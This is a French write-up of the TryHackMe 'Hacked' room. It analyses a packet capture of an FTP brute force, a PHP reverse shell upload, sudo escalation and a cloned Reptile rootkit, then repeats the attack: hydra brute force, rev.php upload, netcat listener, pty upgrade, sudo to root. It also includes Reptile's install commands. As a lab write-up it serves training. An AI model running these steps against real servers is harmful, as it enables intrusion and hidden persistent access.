

# Hacked



By Youness LAGNAOUI

Cette Box fait partie des box gratuites de try Hack me qui permet de mélanger forensics, hacking web et priv esc.

## Forensics Post Compromision

On a une capture réseau qui correspond à une cyber attaque sur un système :

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	192.168.0.147	192.168.0.115	TCP	74	57064 → 21 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1407772739 TSecr=0 WS=128
2	0.000067104	192.168.0.147	192.168.0.115	TCP	74	57066 → 21 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1407772739 TSecr=0 WS=128
3	0.000103422	192.168.0.147	192.168.0.115	TCP	74	57068 → 21 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1407772739 TSecr=0 WS=128
4	0.000187447	192.168.0.147	192.168.0.115	TCP	74	57070 → 21 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1407772739 TSecr=0 WS=128
5	0.000250490	192.168.0.147	192.168.0.115	TCP	74	57072 → 21 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1407772739 TSecr=0 WS=128
6	0.000252568	192.168.0.147	192.168.0.115	TCP	74	57074 → 21 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1407772739 TSecr=0 WS=128
7	0.000442461	192.168.0.115	192.168.0.147	TCP	74	21 → 57064 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM TSval=1701921852 TSecr=1407772739 WS=128
8	0.000460957	192.168.0.147	192.168.0.115	TCP	66	57064 → 21 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1407772739 TSecr=1701921852
9	0.000442516	192.168.0.115	192.168.0.147	TCP	74	21 → 57066 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM TSval=1701921852 TSecr=1407772739 WS=128
10	0.000511006	192.168.0.147	192.168.0.115	TCP	66	57066 → 21 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1407772739 TSecr=1701921852
11	0.000569391	192.168.0.147	192.168.0.115	TCP	74	57076 → 21 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1407772739 TSecr=0 WS=128
12	0.000442546	192.168.0.115	192.168.0.147	TCP	74	21 → 57068 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM TSval=1701921852 TSecr=1407772739 WS=128
13	0.000601826	192.168.0.147	192.168.0.115	TCP	66	57068 → 21 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1407772739 TSecr=1701921852
14	0.000442583	192.168.0.115	192.168.0.147	TCP	74	21 → 57070 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM TSval=1701921852 TSecr=1407772739 WS=128
15	0.000640652	192.168.0.147	192.168.0.115	TCP	66	57070 → 21 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1407772739 TSecr=1701921852
16	0.000442614	192.168.0.115	192.168.0.147	TCP	74	21 → 57072 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM TSval=1701921852 TSecr=1407772739 WS=128
17	0.000736372	192.168.0.147	192.168.0.115	TCP	74	57078 → 21 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1407772740 TSecr=0 WS=128
18	0.000442644	192.168.0.115	192.168.0.147	TCP	74	21 → 57074 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM TSval=1701921852 TSecr=1407772739 WS=128
19	0.000845397	192.168.0.115	192.168.0.147	TCP	74	21 → 57076 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM TSval=1701921852 TSecr=1407772739 WS=128
20	0.001113220	192.168.0.147	192.168.0.115	TCP	66	57072 → 21 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1407772740 TSecr=1701921852
21	0.001115872	192.168.0.147	192.168.0.115	TCP	66	57074 → 21 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1407772740 TSecr=1701921852
22	0.001141008	192.168.0.147	192.168.0.115	TCP	74	57080 → 21 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1407772740 TSecr=0 WS=128
23	0.001142945	192.168.0.147	192.168.0.115	TCP	74	57082 → 21 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1407772740 TSecr=0 WS=128
24	0.001164155	192.168.0.147	192.168.0.115	TCP	74	57084 → 21 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1407772740 TSecr=0 WS=128
25	0.001165245	192.168.0.147	192.168.0.115	TCP	74	57086 → 21 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1407772740 TSecr=0 WS=128
26	0.001204706	192.168.0.147	192.168.0.115	TCP	74	57088 → 21 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1407772740 TSecr=0 WS=128
27	0.001205792	192.168.0.147	192.168.0.115	TCP	66	57076 → 21 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1407772740 TSecr=1701921852
28	0.001226397	192.168.0.147	192.168.0.115	TCP	74	57090 → 21 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1407772740 TSecr=0 WS=128
29	0.001559220	192.168.0.115	192.168.0.147	TCP	74	21 → 57078 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM TSval=1701921853 TSecr=1407772740 WS=128
30	0.001564265	192.168.0.147	192.168.0.115	TCP	74	57092 → 21 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1407772740 TSecr=0 WS=128
31	0.001559260	192.168.0.115	192.168.0.147	TCP	74	21 → 57088 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM TSval=1701921853 TSecr=1407772740 WS=128

On peut dans un premier temps afficher la hiérarchie des protocoles présents dans la capture réseau : "Statistics > Hierarchy Protocol" :

Protocol	Percent Packets	Packets	Percent Bytes	Bytes	Bits/s	End Packets	End Bytes	End Bits/s	PDUs
Frame	100.0	907	100.0	88967	6,787	0	0	0	907
Ethernet	100.0	907	14.3	12698	968	0	0	0	907
Internet Protocol Version 4	100.0	907	20.4	18140	1,383	0	0	0	907
Transmission Control Protocol	100.0	907	65.3	58129	4,434	627	26119	1,992	907
Hypertext Transfer Protocol	12.0	109	19.1	17001	1,297	107	14050	1,071	109
Malformed Packet	0.2	2	0.0	0	0	2	0	0	2
FTP Data	0.2	2	6.4	5680	433	0	0	0	2
Line-based text data	0.2	2	6.4	5680	433	2	5680	433	2
File Transfer Protocol (FTP)	18.6	169	4.0	3568	272	169	3568	272	169

On observe que le protocole FTP est assez présent dans la capture réseau.

On va donc filtrer par protocole FTP pour voir ce qu'il se trame....

No.	Time	Source	Destination	Protocol	Length	Info
145	0.456623311	192.168.0.147	192.168.0.115	FTP	78	Request: PASS 12345
146	0.459521889	192.168.0.147	192.168.0.115	FTP	81	Request: PASS password
147	0.461455218	192.168.0.147	192.168.0.115	FTP	81	Request: PASS 12345678
148	0.462425433	192.168.0.147	192.168.0.115	FTP	82	Request: PASS 123456789
149	0.462591142	192.168.0.147	192.168.0.115	FTP	77	Request: PASS 1234
150	0.462595592	192.168.0.147	192.168.0.115	FTP	81	Request: PASS 1q2w3e4r
151	0.462596575	192.168.0.147	192.168.0.115	FTP	79	Request: PASS dragon
152	0.462597539	192.168.0.147	192.168.0.115	FTP	79	Request: PASS 123456
153	0.462700814	192.168.0.147	192.168.0.115	FTP	79	Request: PASS master
154	0.462704462	192.168.0.147	192.168.0.115	FTP	79	Request: PASS 1111111
155	0.462753954	192.168.0.147	192.168.0.115	FTP	79	Request: PASS 123123
156	0.462913054	192.168.0.147	192.168.0.115	FTP	80	Request: PASS 1234567
157	0.463385936	192.168.0.147	192.168.0.115	FTP	79	Request: PASS 054321
158	0.463530805	192.168.0.147	192.168.0.115	FTP	81	Request: PASS sunshine
159	0.463534099	192.168.0.147	192.168.0.115	FTP	79	Request: PASS abc123
160	0.464358134	192.168.0.147	192.168.0.115	FTP	79	Request: PASS qwerty
177	3.965720136	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
179	3.912420261	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
181	3.915028725	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
183	3.915801399	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
185	3.920463955	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
187	3.920464843	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
189	3.920800385	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
191	3.921442855	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
193	3.922099016	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
195	3.923095535	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
197	3.923095588	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
199	3.923338325	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
201	3.923573082	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
203	3.925011293	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
205	3.925011287	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.

On peut voir que la même source : IP : 192.168.0.147 a tenté de nombreuses connections au server FTP avec des password différents : attaque par bruteforce.

Essayons de voir si l'attaquant a réussi à se connecter au server :

No.	Time	Source	Destination	Protocol	Length	Info
310	6.941546040	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
312	6.961030615	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
314	6.962930121	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
316	6.964245580	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
318	6.965276520	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
320	6.967539945	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
322	6.967540160	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
324	6.968908444	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
326	6.969481680	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
328	6.970446596	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
330	6.971364778	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
332	6.974178194	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
334	6.974178444	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
336	6.974178579	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
338	6.974178709	192.168.0.115	192.168.0.147	FTP	88	Response: 530 Login incorrect.
388	8.867638802	192.168.0.115	192.168.0.147	FTP	88	Response: 220 Hello FTP World!
390	11.414730239	192.168.0.147	192.168.0.115	FTP	78	Request: USER jenny
392	11.415245009	192.168.0.115	192.168.0.147	FTP	100	Response: 331 Please specify the password.
394	13.968715114	192.168.0.147	192.168.0.115	FTP	84	Request: PASS password123
395	14.002582310	192.168.0.115	192.168.0.147	FTP	89	Response: 230 Login successful.
397	14.002831431	192.168.0.147	192.168.0.115	FTP	72	Request: SYST
398	14.003298147	192.168.0.115	192.168.0.147	FTP	85	Response: 215 UNIX Type: L8
400	15.576739978	192.168.0.147	192.168.0.115	FTP	71	Request: PWD
401	15.577170346	192.168.0.115	192.168.0.147	FTP	112	Response: 257 "/var/www/html" is the current directory
403	16.826851138	192.168.0.147	192.168.0.115	FTP	93	Request: PORT 192,168,0,147,225,49
404	16.827401969	192.168.0.115	192.168.0.147	FTP	117	Response: 200 PORT command successful. Consider using PASV.
406	16.827509621	192.168.0.147	192.168.0.115	FTP	76	Request: LIST -la
410	16.828772908	192.168.0.115	192.168.0.147	FTP	195	Response: 150 Here comes the directory listing.
417	16.829307855	192.168.0.115	192.168.0.147	FTP	90	Response: 226 Directory send OK.
419	19.320841361	192.168.0.147	192.168.0.115	FTP	74	Request: TYPE I
420	19.321301970	192.168.0.115	192.168.0.147	FTP	97	Response: 200 Switching to Binary mode.

ON observe que l'attaquant a réussi à se connecter au server FTP avec les credentials :

jenny:password123

```

220 Hello FTP World!
USER jenny
331 Please specify the password.
PASS password123
230 Login successful.
SYST
215 UNIX Type: L8
PWD
257 "/var/www/html" is the current directory
PORT 192,168,0,147,225,49
200 PORT command successful. Consider using PASV.
LIST -la
150 Here comes the directory listing.
226 Directory send OK.
TYPE I
200 Switching to Binary mode.
PORT 192,168,0,147,196,163
200 PORT command successful. Consider using PASV.
STOR shell.php
150 Ok to send data.
226 Transfer complete.
SITE CHMOD 777 shell.php
200 SITE CHMOD command ok.
QUIT
221 Goodbye.

```

Une fois connecté l'attaquant à afficher dans quel dossier le server FTP est mount. Dans notre cas c'est la cata le server FTP est directement relié au server web (dossier /var/www/html) donc tout ce qui est upload sur le server FTP est accessible à partir du web server. Olala la cata. Bon maintenant pour continuer à traquer les comportements de l'attaquant il faut aller voir ce qu'il c'est passé du côté web quand il a Get son reverse shell depuis le web server. Il faut donc filtrer par protocole HTTP pour voir à partir de quel moment il a déclenché son reverse shell :

No.	Time	Source	Destination	Protocol	Length	Info
450	32.245523788	192.168.0.147	192.168.0.115	HTTP	407	GET /shell.php HTTP/1.1
455	32.254704666	192.168.0.115	192.168.0.147	TCP	172	53734 → 80 [PSH, ACK] Seq=1 Ack=1 Win=64256 Len=106 TSval=1701954106 TSecr=1407804988
457	32.271569973	192.168.0.115	192.168.0.147	TCP	265	53734 → 80 [PSH, ACK] Seq=107 Ack=1 Win=64256 Len=199 TSval=1701954123 TSecr=1407804994
463	32.278125992	192.168.0.115	192.168.0.147	TCP	109	53734 → 80 [PSH, ACK] Seq=372 Ack=1 Win=64256 Len=43 TSval=1701954138 TSecr=1407805017[Malformed Packet]
488	53.605806404	192.168.0.115	192.168.0.147	TCP	76	53734 → 80 [PSH, ACK] Seq=2136 Ack=72 Win=64256 Len=10 TSval=1701975517 TSecr=1407826404
493	55.656266611	192.168.0.115	192.168.0.147	TCP	68	53734 → 80 [PSH, ACK] Seq=2156 Ack=84 Win=64256 Len=2 TSval=1701977508 TSecr=1407828395
500	58.608525221	192.168.0.115	192.168.0.147	TCP	68	53734 → 80 [PSH, ACK] Seq=2179 Ack=92 Win=64256 Len=2 TSval=1701980529 TSecr=1407831407
505	60.786334259	192.168.0.115	192.168.0.147	TCP	68	53734 → 80 [PSH, ACK] Seq=2208 Ack=104 Win=64256 Len=2 TSval=1701982638 TSecr=1407833518
509	60.799242488	192.168.0.115	192.168.0.147	TCP	190	53734 → 80 [PSH, ACK] Seq=2254 Ack=104 Win=64256 Len=124 TSval=1701982651 TSecr=1407833538
515	60.808625251	192.168.0.115	192.168.0.147	TCP	68	53734 → 80 [PSH, ACK] Seq=2432 Ack=104 Win=64256 Len=2 TSval=1701982652 TSecr=1407833539
517	60.808674497	192.168.0.115	192.168.0.147	TCP	87	53734 → 80 [PSH, ACK] Seq=2434 Ack=104 Win=64256 Len=21 TSval=1701982652 TSecr=1407833539
524	63.106309032	192.168.0.115	192.168.0.147	TCP	75	53734 → 80 [PSH, ACK] Seq=2469 Ack=112 Win=64256 Len=9 TSval=1701984958 TSecr=1407835842
529	66.582445371	192.168.0.115	192.168.0.147	TCP	74	53734 → 80 [PSH, ACK] Seq=2491 Ack=119 Win=64256 Len=8 TSval=1701988034 TSecr=1407839318
536	69.683414309	192.168.0.115	192.168.0.147	TCP	83	53734 → 80 [PSH, ACK] Seq=2518 Ack=122 Win=64256 Len=17 TSval=1701991535 TSecr=1407842421
542	79.303682122	192.168.0.147	192.168.0.115	TCP	117	80 → 53734 [PSH, ACK] Seq=122 Ack=2535 Win=64128 Len=51 TSval=1407852043 TSecr=1701991535
543	79.305403801	192.168.0.115	192.168.0.147	TCP	118	53734 → 80 [PSH, ACK] Seq=2535 Ack=173 Win=64256 Len=52 TSval=1702001157 TSecr=1407852043
549	80.331981699	192.168.0.115	192.168.0.147	TCP	578	53734 → 80 [PSH, ACK] Seq=2614 Ack=173 Win=64256 Len=512 TSval=1702002183 TSecr=1407852059
551	80.332986680	192.168.0.115	192.168.0.147	TCP	1466	53734 → 80 [PSH, ACK] Seq=3126 Ack=173 Win=64256 Len=1400 TSval=1702002184 TSecr=1407853071
553	80.332986776	192.168.0.115	192.168.0.147	TCP	2962	53734 → 80 [ACK] Seq=4526 Ack=173 Win=64256 Len=2896 TSval=1702002184 TSecr=1407853071[Malformed Packet]
555	80.333609973	192.168.0.115	192.168.0.147	TCP	477	53734 → 80 [PSH, ACK] Seq=7422 Ack=173 Win=64256 Len=411 TSval=1702002193 TSecr=1407853072
557	80.341177369	192.168.0.115	192.168.0.147	TCP	204	53734 → 80 [PSH, ACK] Seq=7833 Ack=173 Win=64256 Len=138 TSval=1702002193 TSecr=1407853072
559	80.341514936	192.168.0.115	192.168.0.147	TCP	1514	53734 → 80 [ACK] Seq=7971 Ack=173 Win=64256 Len=1448 TSval=1702002193 TSecr=1407853072
561	80.341699618	192.168.0.115	192.168.0.147	TCP	1418	53734 → 80 [PSH, ACK] Seq=9419 Ack=173 Win=64256 Len=1352 TSval=1702002193 TSecr=1407853080
563	80.342117808	192.168.0.115	192.168.0.147	TCP	1128	53734 → 80 [PSH, ACK] Seq=10771 Ack=173 Win=64256 Len=1062 TSval=1702002193 TSecr=1407853081
567	80.418954920	192.168.0.115	192.168.0.147	TCP	103	53734 → 80 [PSH, ACK] Seq=11869 Ack=173 Win=64256 Len=37 TSval=1702002270 TSecr=1407853156

On peut voir que dès qu'il y a le GET sur le reverse shell il y a une longue suite de communication entre le server web et le port 53734 de l'attaquant :

```
Wireshark - Follow TCP Stream (tcp.stream eq 20) - Capture.pcapng

Linux wir3 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
22:26:54 up 2:21, 1 user, load average: 0.02, 0.07, 0.08
USER      TTY      FROM          LOGIN@      IDLE        JCPU   PCPU WHAT
jenny     tty1     -             20:06       37.00s     1.00s   0.14s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ ls -la
total 1529956
drwxr-xr-x 23 root root      4096 Feb  1 19:52 .
drwxr-xr-x 23 root root      4096 Feb  1 19:52 ..
drwxr-xr-x  2 root root      4096 Feb  1 20:11 bin
drwxr-xr-x  3 root root      4096 Feb  1 20:15 boot
drwxr-xr-x 18 root root     3880 Feb  1 20:05 dev
drwxr-xr-x 94 root root      4096 Feb  1 22:23 etc
drwxr-xr-x  3 root root      4096 Feb  1 20:05 home
lrwxrwxrwx  1 root root         34 Feb  1 19:52 initrd.img -> boot/initrd.img-4.15.0-135-generic
lrwxrwxrwx  1 root root         33 Jul 25 2018 initrd.img.old -> boot/initrd.img-4.15.0-29-generic
drwxr-xr-x 22 root root      4096 Feb  1 22:06 lib
drwxr-xr-x  2 root root      4096 Feb  1 20:08 lib64
drwx----- 2 root root     16384 Feb  1 19:49 lost+found
drwxr-xr-x  2 root root      4096 Jul 25 2018 media
drwxr-xr-x  2 root root      4096 Jul 25 2018 mnt
drwxr-xr-x  2 root root      4096 Jul 25 2018 opt
dr-xr-xr-x 117 root root         0 Feb  1 20:23 proc
drwx-----  3 root root      4096 Feb  1 22:20 root
drwxr-xr-x 29 root root     1040 Feb  1 22:23 run
drwxr-xr-x  2 root root     12288 Feb  1 20:11/sbin
drwxr-xr-x  4 root root      4096 Feb  1 20:06 snap
drwxr-xr-x  3 root root      4096 Feb  1 20:07 srv
-rw-----  1 root root    1566572544 Feb  1 19:52 swap.img
dr-xr-xr-x 13 root root         0 Feb  1 20:05 sys
drwxrwxrwt  2 root root      4096 Feb  1 22:25 tmp
drwxr-xr-x 10 root root      4096 Jul 25 2018 usr
drwxr-xr-x 14 root root      4096 Feb  1 21:54 var
lrwxrwxrwx  1 root root         31 Feb  1 19:52 vmlinuz -> boot/vmlinuz-4.15.0-135-generic
lrwxrwxrwx  1 root root         30 Jul 25 2018 vmlinuz.old -> boot/vmlinuz-4.15.0-29-generic
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@wir3:/$/ $ su jenny
```

On observe que dès que l'attaquant à obtenu son reverse shell il a upgrade son shell grace à la commande :

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@wir3:/$ su jenny
su jenny
password: password123
jenny@wir3:/$ sudo -l
sudo -l
[sudo] password for jenny: password123
Matching Defaults entries for jenny on wir3:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/bin\:/usr/sbin\:/bin\:/snap/bin
User jenny may run the following commands on wir3:
(ALL : ALL) ALL
jenny@wir3:/$ sudo su
sudo su
root@wir3:/# whoami
whoami
root
root@wir3:/# cd
cd
root@wir3:~# git clone https://github.com/f0rb1dd3n/Reptile.git
git clone https://github.com/f0rb1dd3n/Reptile.git
Cloning into 'Reptile'...
remote: Enumerating objects: 217, done..[K
remote: Counting objects: 0% (1/217).[K
remote: Counting objects: 1% (3/217).[K
remote: Counting objects: 2% (5/217).[K
remote: Counting objects: 3% (7/217).[K
remote: Counting objects: 4% (9/217).[K
remote: Counting objects: 5% (11/217).[K
remote: Counting objects: 6% (14/217).[K
remote: Counting objects: 7% (16/217).[K
remote: Counting objects: 8% (18/217).[K
remote: Counting objects: 9% (20/217).[K
remote: Counting objects: 10% (22/217).[K
remote: Counting objects: 11% (24/217).[K
remote: Counting objects: 12% (27/217).[K
packet 504. 212 client pkts, 14 server pkts, 28 turns. Click to select.

```

En suite il a switch de user et c'est connecté sur le compte de jenny avec le password "password123". Donc Jenny utilise le même password pour le server FTP et pour son compte sur la machine, pas foufou la sécu. De plus, on peut directement lire la valeur du password saisie par l'attaquant lors de la commande su, ce qui est mauvais car ça leak directement le contenu des passwords...

Ensuite l'attaquant a élevé ses privilèges vers root car Jenny a full droits sur la commande sudo.

puis l'attaquant a cloné un projet github appelé Reptile

Debian 9: 4.9.0-8-amd64  
Debian 10: 4.19.0-8-amd64  
Ubuntu 18.04.1 LTS: 4.15.0-38-generic  
Kali Linux: 4.18.0-kali2-amd64  
Centos 6.10: 2.6.32-754.6.3.el6.x86\_64  
Centos 7: 3.10.0-862.3.2.el7.x86\_64  
Centos 8: 4.18.0-147.5.1.el8\_1.x86\_64

## Features [↗](#)

- Give root to unprivileged users
- Hide files and directories
- Hide processes
- Hide himself
- Hide TCP/UDP connections
- Hidden boot persistence
- File content tampering
- Some obfuscation techniques
- ICMP/UDP/TCP port-knocking backdoor
- Full TTY/PTY shell with file transfer
- Client to handle Reptile Shell
- Shell connect back each X times (not default)

## Install [↗](#)

```
apt install build-essential libncurses-dev linux-headers-$(uname -r)
git clone https://github.com/f0rbidd3n/Reptile.git
cd Reptile
make menuconfig          # or 'make config' or even 'make defconfig'
make
make install
```



Reptile est un outil de post comprision permettant de faire de la persistance sur un système :  
Conclusion : l'attaquant a compromis le server et possède actuellement toujours des accès sur celui-ci.

# Hack Back

A partir de la capture réseau, à part la persistance avec Reptile, il n'y a pas de trace spécifiques concernant un éventuel blocage des accès que l'attaquant à utilisé pour s'introduire dans le server on va donc effectuer les même étapes que lui pour compromettre le server pour en reprendre le contrôle.

# Hack du server FTP

On va tester les creds volés par l'attaquant pour se co au server FTP :



```
File Actions Edit View Help
(kali㉿kali)-[~]
$ ftp 10.10.87.172
Connected to 10.10.87.172.
220 Hello FTP World!
Name (10.10.87.172:kali): jenny
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
ftp>
```

On observe que les creds `jenny:password123` ne fonctionnent pas sur le server ftp : l'attaquant a surement modifier le password de jenny....

On va bruteforcer le server ftp :

```
File Actions Edit View Help
(kali㉿kali)-[~]
$ hydra -l jenny -P /usr/share/wordlists/rockyou.txt 10.10.87.172 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or se
et service organizations, or for illegal purposes (this is non-binding, these *** ignore law
and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-15 09:50:03
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from
previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~
6525 tries per task
[DATA] attacking ftp://10.10.87.172:21/
[21][ftp] host: 10.10.87.172 login: jenny password: 987654321
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-10-15 09:50:34
```

On observe que les nouveaux creds pour le server FTP sont :

```
jenny:987654321
```

On va se connecter dessus et on va upload notre reverse shell :



```

ftp> ls
229 Entering Extended Passive Mode (|||31366|)
150 Here comes the directory listing.
-rw-r--r--      1 1000      1000      10918 Feb 01  2021 index.html
-rwxrwxrwx      1 1000      1000      5493 Feb 01  2021 shell.php
226 Directory send OK.
ftp> put rev.php
local: rev.php remote: rev.php
229 Entering Extended Passive Mode (|||33511|)
150 Ok to send data.
100% |*****| 2586 1.28 MiB/s 00:00 ETA
226 Transfer complete.
2586 bytes sent in 00:00 (37.04 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||8777|)
150 Here comes the directory listing.
-rw-r--r--      1 1000      1000      10918 Feb 01  2021 index.html
-rw-----      1 1000      1000      2586 Oct 15 13:52 rev.php
-rwxrwxrwx      1 1000      1000      5493 Feb 01  2021 shell.php
226 Directory send OK.
ftp>

```

ça y est on a upload notre reverse shell grâce à la commande put de FTP

Maintenant on lui donne les droits d'executions :

```

ftp> ls
229 Entering Extended Passive Mode (|||56214|)
150 Here comes the directory listing.
-rw-r--r--      1 1000      1000      10918 Feb 01  2021 index.html
-rw-----      1 1000      1000      2586 Oct 15 13:52 rev.php
-rwxrwxrwx      1 1000      1000      5493 Feb 01  2021 shell.php
226 Directory send OK.
ftp> chmod 7777 rev.php
200 SITE CHMOD command ok.
ftp> ls
229 Entering Extended Passive Mode (|||10652|)
150 Here comes the directory listing.
-rw-r--r--      1 1000      1000      10918 Feb 01  2021 index.html
-rwxrwxrwx      1 1000      1000      2586 Oct 15 13:52 rev.php
-rwxrwxrwx      1 1000      1000      5493 Feb 01  2021 shell.php
226 Directory send OK.

```

## Reverse Shell

Maintenant on peut aller sur le server web à l'adresse : <http://IP/rev.php>

mais avant ça on ouvre un listener netcat :

```
nc -lvnp 4444
```

```

(kali㉿kali)-[~]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.14.43.156] from (UNKNOWN) [10.10.87.172] 36296
Linux wir3 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
13:59:01 up 29 min,  0 users,  load average: 0.00, 0.00, 0.00
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$

```

On a un shell sur le serve

On stabilise notre shell avec python

```

(kali㉿kali)-[~]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.14.43.156] from (UNKNOWN) [10.10.87.172] 36296
Linux wir3 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
13:59:01 up 29 min,  0 users,  load average: 0.00, 0.00, 0.00
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@wir3:/$

```

On switch de user :

```

(kali㉿kali)-[~]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.14.43.156] from (UNKNOWN) [10.10.87.172] 36296
Linux wir3 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
13:59:01 up 29 min,  0 users,  load average: 0.00, 0.00, 0.00
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@wir3:/$ su jenny
su jenny
Password: 987654321
jenny@wir3:/$

```

On devient root :

```
Fichier Machine Écran Entrée Périphériques Aide
kali@kali: ~
File Actions Edit View Help
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@wir3:/$ su jenny
su jenny
Password: 987654321

jenny@wir3:/$ sudo -l
sudo -l
[sudo] password for jenny: 987654321

Matching Defaults entries for jenny on wir3:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jenny may run the following commands on wir3:
    (ALL : ALL) ALL
jenny@wir3:/$ sudo su -
sudo su -
root@wir3:~#
```

Exactement comme l'attaquant et maintenant on a repris le controle du server !!